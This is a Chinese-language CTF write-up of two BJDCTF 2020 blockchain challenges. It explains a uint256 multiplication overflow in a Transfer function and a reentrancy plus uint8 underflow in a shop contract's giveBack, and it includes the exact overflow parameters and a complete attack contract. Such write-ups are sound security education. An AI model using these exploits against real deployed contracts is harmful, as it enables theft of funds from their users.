2020_2nd_BJDCTF BlockChain Wp

2

坚固性?!

tags:

  • 智能合约的部署等基本操作
  • Solidity uint 上溢出

下载附件,给了题目源码以及地址,审计源码:

首先有个 getFlag() 函数:

function getFlag() public view returns (string){
    require(balances[msg.sender] > 9999999);
    return flag;
}

很明显需要通过攻击合约让自己的 balance 变大,继续审计其他函数,发现只有 Transfer() 有对 balance 的操作:

function Transfer(address[] _addr, uint256 _value) public returns (bool){
    uint times = _addr.length;
    uint256 amount = uint256(times) * _value;
    require(_value > 0 && balances[msg.sender] >= amount);
    require(times > 0 && times < 10);
    balances[msg.sender] -= amount;
    for(uint i = 0; i < times; i++){
        balances[_addr[i]] += _value;
    }
    return true;
}

Transfer() 函数支持给不多于10个账户打钱,打钱的总数 amount 是由收钱账户的个数乘以参数 _value 算出,最后打钱账户扣除 amount 单位的余额。这个过程中的操作都是用符号操作而没有用 safeMath,再加上合约没有判断 amount 是否会溢出,因此可以构造条件使得 uint256 类型的 amount 超出表达范围而溢出。

uint256 类型能表示的范围是 0 ~ ((2 ** 256) - 1) ,因此我们可以让 amount 大于 ((2 ** 256) - 1)

以我的 Ropsten 地址 0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110 举例,我们一开始可以通过调用 getBalance() 函数白嫖到 100 balance,再调用转账函数 Transfer(),参数分别为 ["0x00E7aC6a5614Bcc4e131872B8Ae055D9ccFE4110","0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c"]57896044618658097711785492504343953926634992332820282019728792003956564819968,其中第一个参数的第二个地址随意填写,只要满足地址格式即可,第二个参数的值为 2 ** 255,这样合约接收到交易后,计算的 amount2 * (2 ** 255) = 2 ** 256 大于能表示的最大值,因此此时的 amount 的值溢出为 0,合约可以顺利执行扣费(扣除 0),并给两个地址的 balance 加上 2 ** 255,执行 getFlag() 即可。

得到的 flag 是16 进制,转成 ascii 码即可提交。

提供暴打出题人服务!

tags:

  • 重入攻击
  • 下溢出

这题对比上一题就略显复杂,附件中还是给了源码和地址,先审计 getFlag()

function getFlag() public view returns (string){
    if(users[msg.sender][5] >= 1){
        return flag;
    }
    else{
        return "%e7%88%ac%ef%bc%81";
    }
}

拿到 flag 的条件是拥有 users[msg.sender][5],再回头去找 users 的定义:

mapping (address => mapping(uint8 => uint8))users;

此外,还有个全局变量 goods 的定义:

struct good{
    string name;
    uint256 value;
}
mapping (uint8 => good) goods;

注意变量的类型(uint8 和 uint256)结合上合约名小卖部,可以推测 goods 是用来存储商品的,而 users 可能是存储每个用户持有的商品数量。其中 goods 中的内容可以通过 showGoods() 函数查看,具体的对应关系如下:

goods[0].name = "喂龙辣条";
goods[0].value = 1;
goods[1].name = "Taqini的猫猫表情包";
goods[1].value = 0x99;
goods[2].name = "imagin小黑屋的钥匙";
goods[2].value = 0x9999;
goods[3].name = "Taqini独家auto_pwn.py";
goods[3].value = 0x999999;
goods[4].name = "BJD{chui_bao_Taqin!}";
// fake!
goods[4].value = 0x99999999;
goods[5].name = "锤爆Taqini!";
goods[5].value = 0x9999999999;

接着找操作 users 的函数 giveBack()giveAllBack() 以及 buy(),其中giveAllBack()算是升级版的giveBack()

function buy(uint8 index) public returns (bool){
    require(index <= 5 && index >= 0);
    uint256 cost = goods[index].value;
    require(cost > 0);
    require(getCredit(msg.sender) >= cost);
    require(getCredit(msg.sender) - cost >= 0);
    credit[msg.sender] -= cost;
    users[msg.sender][index] += 1;
    return true;
}
​
function giveBack(uint8 index) public returns (bool){
    require (index <= 5);
    require (users[msg.sender][index] > 0);
    uint256 price = goods[index].value;
    require (address(this).balance > price);
    if(price > 10000 wei){
        price = 1 wei;
        // 中间商 Taqini 赚差价~
    }
    msg.sender.call.value(1)();
    users[msg.sender][index] --;
    transfer(this, msg.sender, price);
}

buy() 函数可以让我们购买某一项商品,而 giveBack() 是把商品退回并返回余额。值得注意的是 giveBack() 是先给用户退钱,再让用户的商品存储变化,这就提供了重入攻击的机会。用合约去操作giveBack() 函数,当执行到 msg.sender.call.value(1)(); 并开始打钱时会调用合约的 fallback() 函数,在 fallback() 函数中我们可以再次调用 giveBack()。由于一开始我们只有一个单位的商品库存,正常调用giveBack() 函数会使库存 –,变为 0,再次调用再次 –,会造成下溢出,变为 uint8 的最大值 255,将货物卖出即可。

部署攻击合约:

pragma solidity ^0.4.23;
// Author : imagin
// Blog : https://imagin.vip/
// Filename : exp.sol

import "Taqini.sol";
contract exp{
    XiaoMaiBu x;
    uint8 num;
    uint8 times;
    constructor (address addr){
        x = XiaoMaiBu(addr);
    }
    
    function getFlag() public payable returns (string){
        x.deposit.value(1)();
        for(uint8 i = 0; i < 5; i++){
            num = i;
            attack();
            attack();
        }
        x.buy(5);
        return x.getFlag();
    }
    
    function flag() public view returns (string){
        return x.getFlag();
    }
    
    function attack() public payable{
        times = 1;
        x.buy(num);
        x.giveBack(num);
        x.giveAllBack(num);
    }
    
    function getMyCredit() public view returns (uint256){
        return x.getCredit(this);
    }
    
    function getMyGood(uint8 index) public view returns (uint8){
        return x.getMyGood(index);
    }
    
    function() public payable{
        if(times > 0){
            times --;
            x.giveBack(num);
        }
        
    }
}

将攻击合约部署到题目的合约地址上,执行 getFlag() 函数并支付 1 wei 即可获得 flag。

Imagin 丨 京ICP备18018700号-1


Your sidebar area is currently empty. Hurry up and add some widgets.